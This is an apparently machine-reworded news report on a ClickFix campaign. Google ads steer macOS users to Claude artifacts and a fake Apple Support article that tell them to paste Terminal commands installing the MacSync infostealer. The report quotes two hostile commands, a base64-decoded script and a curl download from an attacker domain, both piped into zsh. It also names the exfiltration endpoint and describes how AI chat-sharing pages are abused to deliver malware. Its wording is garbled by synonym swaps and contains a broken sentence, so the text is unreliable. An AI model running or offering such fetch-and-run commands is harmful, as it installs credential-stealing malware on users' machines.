Risk actors are abusing Claude artifacts and Google Adverts in ClickFix campaigns that ship infostealer malware to macOS customers trying to find particular queries.
Not less than two variants of the malicious exercise have been noticed within the wild, and greater than 10,000 customers have accessed the content material with harmful directions.
A Claude artifact is content material generated with Antropic’s LLM that has been made public by the writer. It may be something from directions, guides, chunks of code, or different sorts of output which are remoted from the primary chat and accessible to anybody through hyperlinks hosted on the claude.ai area.
An artifact’s web page warns customers that the proven content material was generated by the person and has not been verified for accuracy.
Researchers at MacPaw’s investigative division, Moonlock Lab, and at ad-blocking firm AdGuard observed the malicious search outcomes being displayed for a number of queries, like “on-line DNS resolver,” “macOS CLI disk house analyzer,” and “HomeBrew.”
Supply: AdGuard
Malicious outcomes promoted on Google Search result in both a public Claude artifact or a Medium article impersonating Apple Help. In each instances, the person is instructed to stick a shell command into Terminal.
- Within the first variant of the assault, the command given for execution is:
‘echo "..." | base64 -D | zsh,’ - whereas within the second, it’s:
‘true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh’.
Supply: Moonlock Lab
Moonlock researchers found that the malicious Claude information has already obtained no less than 15,600 views, which could possibly be a sign of the variety of customers falling for the trick.
AdGuard researchers noticed the identical information just a few days earlier, when it had 12,300 views.
Supply: Moonlock Lab
Operating the command in Terminal fetches a malware loader for the MacSync infostealer, which exfiltrates delicate info current on the system.
In keeping with the researchers, the malware establishes communication with the command-and-control (C2) infrastructure utilizing a hardcoded token and API key, and spoofs a macOS browser user-agent to mix into regular exercise.
“The response is piped on to osascript – the AppleScript handles the precise stealing (keychain, browser information, crypto wallets),” the researchers say.
The stolen information is packaged into an archive at ‘/tmp/osalogging.zip,’ after which exfiltrated to the attacker’s C2 at a2abotnet[.]com/gate through an HTTP POST request. In case of failure, the archive is cut up into smaller chunks, and exfiltration is retried eight occasions. After a profitable add, a cleanup step deletes all traces.
MoonLock Lab discovered that each variants fetch the second stage from the identical C2 tackle, indicating that the identical risk actor is behind the noticed exercise.
A related marketing campaign leveraged the chat sharing characteristic in ChatGPT and Grok to ship the AMOS infostealer. In December 2025, researchers discovered the promoted after researchers discovered ChatGPT and Grok conversations had been being leveraged in ClickFix assaults focusing on Mac customers.
The Claude variation of the assault signifies that abuse has expanded to different giant language fashions (LLMs).
Customers are really useful to exert warning and keep away from executing in Terminal instructions they do not absolutely perceive. As Kaspersky researchers famous prior to now, asking the chatbot in the identical dialog in regards to the security of the supplied instructions is a simple approach to decide in the event that they’re secure or not.
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